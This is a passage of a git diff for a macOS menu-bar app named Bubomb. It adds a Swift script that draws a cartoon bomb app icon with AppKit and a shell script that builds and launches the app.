Successfully built and bundled: ${APP_DIR}" +echo "π Run with: open ${APP_NAME}" diff --git a/scripts/generate_icon.swift b/scripts/generate_icon.swift new file mode 100644 index 0000000..da84bbd --- /dev/null +++ b/scripts/generate_icon.swift @@ -0,0 +1,96 @@ +import AppKit + +let size = NSSize(width: 512, height: 512) +let img = NSImage(size: size, flipped: false) { bounds in + guard let ctx = NSGraphicsContext.current?.cgContext else { return false } + + // Background squircle / rounded rect for macOS icon + let iconRect = NSRect(x: 32, y: 32, width: 448, height: 448) + let bgPath = NSBezierPath(roundedRect: iconRect, xRadius: 96, yRadius: 96) + + // Background gradient: dark charcoal + let gradient = NSGradient(starting: NSColor(calibratedRed: 0.16, green: 0.16, blue: 0.20, alpha: 1.0), + ending: NSColor(calibratedRed: 0.08, green: 0.08, blue: 0.10, alpha: 1.0)) + gradient?.draw(in: bgPath, angle: -45) + + // Subtle border + NSColor(calibratedWhite: 1.0, alpha: 0.12).setStroke() + bgPath.lineWidth = 2 + bgPath.stroke() + + // Bomb fuse curve + let fusePath = NSBezierPath() + fusePath.move(to: NSPoint(x: 256, y: 330)) + fusePath.curve(to: NSPoint(x: 370, y: 410), + controlPoint1: NSPoint(x: 256, y: 410), + controlPoint2: NSPoint(x: 330, y: 430)) + fusePath.lineWidth = 14 + fusePath.lineCapStyle = .round + NSColor(calibratedRed: 0.72, green: 0.60, blue: 0.44, alpha: 1.0).setStroke() + fusePath.stroke() + + // Collar at top of bomb + let collarRect = NSRect(x: 220, y: 310, width: 72, height: 32) + let collarPath = NSBezierPath(roundedRect: collarRect, xRadius: 6, yRadius: 6) + NSColor(calibratedRed: 0.25, green: 0.26, blue: 0.30, alpha: 1.0).setFill() + collarPath.fill() + + // Bomb body + let bodyRect = NSRect(x: 106, y: 80, width: 300, height: 300) + let bodyPath = NSBezierPath(ovalIn: bodyRect) + + let bodyGradient = NSGradient(colorsAndLocations: + (NSColor(calibratedRed: 0.32, green: 0.34, blue: 0.40, alpha: 1.0), 0.0), + (NSColor(calibratedRed: 0.15, green: 0.15, blue: 0.18, alpha: 1.0), 0.6), + (NSColor(calibratedRed: 0.08, green: 0.08, blue: 0.10, alpha: 1.0), 1.0) + ) + bodyGradient?.draw(in: bodyPath, relativeCenterPosition: NSPoint(x: -0.25, y: 0.35)) + + // Specular shine curve + ctx.saveGState() + let shinePath = NSBezierPath() + shinePath.appendArc(withCenter: NSPoint(x: 215, y: 255), radius: 105, startAngle: 110, endAngle: 175) + shinePath.lineWidth = 12 + shinePath.lineCapStyle = .round + NSColor(calibratedWhite: 1.0, alpha: 0.35).setStroke() + shinePath.stroke() + ctx.restoreGState() + + // Mischievous cute eyes + let leftEye = NSBezierPath(ovalIn: NSRect(x: 220, y: 195, width: 18, height: 26)) + let rightEye = NSBezierPath(ovalIn: NSRect(x: 274, y: 195, width: 18, height: 26)) + NSColor(calibratedWhite: 0.95, alpha: 1.0).setFill() + leftEye.fill() + rightEye.fill() + + // Pupils + let leftPupil = NSBezierPath(ovalIn: NSRect(x: 226, y: 199, width: 9, height: 11)) + let rightPupil = NSBezierPath(ovalIn: NSRect(x: 280, y: 199, width: 9, height: 11)) + NSColor(calibratedWhite: 0.05, alpha: 1.0).setFill() + leftPupil.fill() + rightPupil.fill() + + // Spark at fuse tip + let sparkCenter = NSPoint(x: 370, y: 410) + let sparkGlow = NSBezierPath(ovalIn: NSRect(x: sparkCenter.x - 36, y: sparkCenter.y - 36, width: 72, height: 72)) + let glowGrad = NSGradient(colorsAndLocations: + (NSColor(calibratedRed: 1.0, green: 0.5, blue: 0.0, alpha: 0.9), 0.0), + (NSColor(calibratedRed: 1.0, green: 0.7, blue: 0.0, alpha: 0.4), 0.5), + (NSColor.clear, 1.0) + ) + glowGrad?.draw(in: sparkGlow, relativeCenterPosition: .zero) + + let sparkCore = NSBezierPath(ovalIn: NSRect(x: sparkCenter.x - 12, y: sparkCenter.y - 12, width: 24, height: 24)) + NSColor(calibratedRed: 1.0, green: 0.95, blue: 0.3, alpha: 1.0).setFill() + sparkCore.fill() + + return true +} + +if let tiff = img.tiffRepresentation, + let bitmap = NSBitmapImageRep(data: tiff), + let png = bitmap.representation(using: .png, properties: [:]) { + let outURL = URL(fileURLWithPath: "/Users/macbook/bubomb/Resources/AppIcon.png") + try? png.write(to: outURL) + print("Generated AppIcon.png successfully!") +} diff --git a/scripts/run.sh b/scripts/run.sh new file mode 100755 index 0000000..c94055a --- /dev/null +++ b/scripts/run.sh @@ -0,0 +1,16 @@ +#!/bin/bash +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" + +cd "${ROOT_DIR}" + +if [ ! -d "${ROOT_DIR}/Bubomb.app" ]; then + echo "π£ Bubomb.app not found. Building now..." + bash "${SCRIPT_DIR}/build_app.sh" +fi + +echo "π Launching Bubomb..." +open "${ROOT_DIR}/Bubomb.app" +echo "π₯ Bubomb is now active in your macOS menu bar!" |
